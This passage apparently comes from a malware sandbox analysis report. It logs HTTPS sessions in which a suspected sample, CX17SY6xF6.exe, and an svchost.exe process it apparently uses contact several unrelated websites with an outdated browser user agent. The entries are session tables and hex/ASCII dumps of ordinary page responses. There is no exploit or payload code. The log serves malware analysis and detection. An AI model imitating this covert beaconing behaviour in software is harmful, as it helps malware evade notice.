Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... cont2000ent --><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ...
2023-07-27 19:54:33 UTC	5806	IN	Data Raw: 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 33 30 30 70 78 3b 20 68 65 69 67 68 74 3a 38 35 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 33 39 36 31 2c 64 6f 70 61 6c 61 63 0d 0a 31 30 30 30 0d 0a 7a 65 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 64 6f 70 61 6c 61 63 7a 65 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 33 39 36 31 2e 6a 70 67 3f 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 Data Ascii: aria-hidden="true" /></a></div><div class="item" style="width:300px; height:85px;margin-bottom:10px"><a href="/w20/batony/3961,dopalac1000ze.html" target="_blank" aria-label="dopalacze"><img src="/dokumenty/batony/3961.jpg?v=1657112618" a
2023-07-27 19:54:33 UTC	5822	IN	Data Raw: 63 6a 61 50 4c 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 74 69 74 6c 65 3d 22 4f 64 77 69 65 64 c5 ba 20 6e 61 73 20 6e 61 20 59 6f 75 54 75 62 65 22 20 63 6c 61 73 73 3d 22 79 74 22 3e 4f 64 77 69 65 64 c5 ba 20 6e 61 73 20 6e 61 20 59 6f 75 54 75 62 65 3c 2f 61 3e 3c 2f 6c 69 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 57 69 65 6c 6b 6f 70 6f 6c 73 6b 61 2d 50 6f 0d 0a 37 34 32 0d 0a 6c 69 63 6a 61 2d 34 39 30 31 39 36 36 30 34 34 37 30 33 34 32 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 74 69 74 6c 65 3d 22 4f 64 77 69 65 64 c5 ba 20 6e 61 73 20 6e 61 20 46 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 Data Ascii: cjaPL" target="_blank" title="Odwied nas na YouTube" class="yt">Odwied nas na YouTube</a></li> <li><a href="https://www.facebook.com/Wielkopolska-Po742licja-490196604470342/" target="_blank" title="Odwied nas na Facebook" clas

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.4	21258	188.114.96.7	443	C:\Users\user\Desktop\CX17SY6xF6.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:33 UTC	5773	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-07-27 19:54:33 UTC	5824	IN	HTTP/1.1 302 Found Date: Thu, 27 Jul 2023 19:54:33 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Thu, 27 Jul 2023 20:04:33 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2x3AeQ1sqL0yYKdIPMQKu4UJ0AxF1A8tc6Nti8ezkgdpkZlIDji8AGYftc2Q4lxSFNflK3cbUxqaBZeWp7qRflS0%2Fx5P%2FiPdowRJd%2FWvXG9pibM47ZXnJKTG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7ed76f595c8c4d34-FRA alt-svc: h3=":443"; ma=86400
2023-07-27 19:54:33 UTC	5824	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-07-27 19:54:33 UTC	5824	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.4	21263	94.130.146.206	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:33 UTC	5824	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-07-27 19:54:33 UTC	5825	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 27 Jul 2023 19:54:33 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-07-27 19:54:33 UTC	5825	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.4	21267	172.67.193.133	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:34 UTC	5825	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.com
2023-07-27 19:54:34 UTC	5826	IN	HTTP/1.1 200 OK Date: Thu, 27 Jul 2023 19:54:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding,User-Agent Set-Cookie: PHPSESSID=16c3cc89a3323e0e5863253eb52d604a; path=/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9NoYXxRWgxU6XUxZPMawjdx6TV23sqXc%2FuZMWV2Ow0xZwnrjmY%2F%2BOtETYnJEeGK9aepsPCdy1rCe%2FaiJHvAlXPHRSTDUbQiE45WimtaG0fT%2FFHdzgBYX52Wxjw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7ed76f5aef454d3a-FRA alt-svc: h3=":443"; ma=86400
2023-07-27 19:54:34 UTC	5827	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.4	21273	94.130.146.206	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:34 UTC	5825	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-07-27 19:54:34 UTC	5825	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Thu, 27 Jul 2023 19:54:34 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-07-27 19:54:34 UTC	5826	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.4	21287	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-27 19:54:35 UTC	5827	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net
2023-07-27 19:54:35 UTC	5829	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 27 Jul 2023 19:54:35 GMT Content-Type: text/html Content-Length: 2599149 Connection: close Last-Modified: Tue, 08 Nov 2022 00:53:41 GMT ETag: "27a8ed-5eceaf89b8f40" Accept-Ranges: bytes
2023-07-27 19:54:35 UTC	5829	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 20 77 65 62 73 69 74 65 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 77 65 62 73 69 74 65 23 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 Data Ascii: <!DOCTYPE html><html lang="ja"> <head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# website: http://ogp.me/ns/website#"> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="wi
2023-07-27 19:54:35 UTC	5845	IN	Data Raw: 77 69 64 74 68 3a 31 2e 30 34 70 78 3b 7d 2e 63 6c 73 2d 31 36 31 2c 2e 63 6c 73 2d 31 36 32 2c 2e 63 6c 73 2d 31 36 33 7b 66 69 6c 6c 3a 23 39 32 64 31 64 37 3b 7d 2e 63 6c 73 2d 31 36 31 2c 2e 63 6c 73 2d 31 36 35 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 39 37 70 78 3b 7d 2e 63 6c 73 2d 31 36 32 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 31 35 70 78 3b 7d 2e 63 6c 73 2d 31 36 33 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 32 35 70 78 3b 7d 2e 63 6c 73 2d 31 36 34 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 35 34 70 78 3b 7d 2e 63 6c 73 2d 31 36 35 7b 66 69 6c 6c 3a 23 65 65 65 39 34 32 3b 7d 2e 63 6c 73 2d 31 36 36 7b 66 69 6c 6c 3a 23 65 34 38 32 37 65 3b 7d 2e 63 6c 73 2d 31 36 37 7b 66 69 6c 6c 3a 23 38 36 63 64 64 34 3b 7d 2e 63 Data Ascii: width:1.04px;}.cls-161,.cls-162,.cls-163{fill:#92d1d7;}.cls-161,.cls-165{stroke-width:0.97px;}.cls-162{stroke-width:1.15px;}.cls-163{stroke-width:1.25px;}.cls-164{stroke-width:1.54px;}.cls-165{fill:#eee942;}.cls-166{fill:#e4827e;}.cls-167{fill:#86cdd4;}.c
2023-07-27 19:54:36 UTC	5861	IN	Data Raw: 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 36 39 32 2e 38 33 2c 31 39 35 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 36 39 32 2e 36 2c 31 38 38 2e 31 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 Data Ascii: 1,.15,2.86"/><path class="cls-4" d="M692.83,195a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M692.6,188.1a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94
2023-07-27 19:54:36 UTC	5877	IN	Data Raw: 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 32 33 2e 33 35 2c 32 36 33 2e 34 31 61 31 2e 37 31 2c 31 2e 37 31 2c 30 2c 30 2c 31 2d 2e 37 37 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 32 33 2e 31 32 2c 32 35 36 2e 34 38 61 31 Data Ascii: 2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M723.35,263.41a1.71,1.71,0,0,1-.77,2.23,2.51,2.51,0,0,1-3.34-.94,2.39,2.39,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M723.12,256.48a1
2023-07-27 19:54:36 UTC	5893	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e Data Ascii: ,0,0,1,.51-2.89,2.
2023-07-27 19:54:36 UTC	5893	IN	Data Raw: 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 35 33 2e 38 38 2c 33 33 31 2e 37 39 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 35 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 35 33 2e 36 34 2c 33 32 34 2e 38 36 61 31 2e 37 31 2c 31 2e 37 31 Data Ascii: 24,2.24,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class="cls-4" d="M753.88,331.79a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.95,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"/><path class="cls-4" d="M753.64,324.86a1.71,1.71
2023-07-27 19:54:36 UTC	5909	IN	Data Raw: 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 37 30 2e 37 39 2c 32 30 36 2e 32 37 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 37 30 2e 35 35 2c Data Ascii: ,1,.51-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class="cls-4" d="M770.79,206.27a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"/><path class="cls-4" d="M770.55,
2023-07-27 19:54:36 UTC	5925	IN	Data Raw: 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 30 31 2e 33 31 2c 32 37 34 2e 36 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 39 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 Data Ascii: 34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M801.31,274.66a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.41,2.41,0,0,1,.52-2.89,2.24,2.24,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"/><path class
2023-07-27 19:54:36 UTC	5941	IN	Data Raw: 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 31 2e 38 34 2c 33 34 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 35 22 2f 3e 3c 70 Data Ascii: 1,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M831.84,343a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,0,2.11,2.11,0,0,1,.15,2.85"/><p
2023-07-27 19:54:36 UTC	5957	IN	Data Raw: 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 35 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 34 38 2e 37 35 2c 32 31 37 2e 35 32 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 2e 39 2c Data Ascii: 73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.95,2.41,2.41,0,0,1,.51-2.88,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.86"/><path class="cls-4" d="M848.75,217.52a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2.9,
2023-07-27 19:54:36 UTC	5973	IN	Data Raw: 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 35 2c 32 39 32 2e 38 33 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 37 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 37 39 2e 32 37 2c 32 38 35 2e 39 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 2c 32 2e 34 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e Data Ascii: cls-4" d="M879.5,292.83a1.72,1.72,0,0,1-.77,2.24,2.52,2.52,0,0,1-3.34-.94,2.41,2.41,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"/><path class="cls-4" d="M879.27,285.9a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.4,2.4,0,0,1,.51-2.
2023-07-27 19:54:36 UTC	5989	IN	Data Raw: 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 31 30 2c 33 36 31 2e 32 31 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 39 30 39 2e 37 39 2c 33 35 34 2e 32 38 61 31 2e 37 31 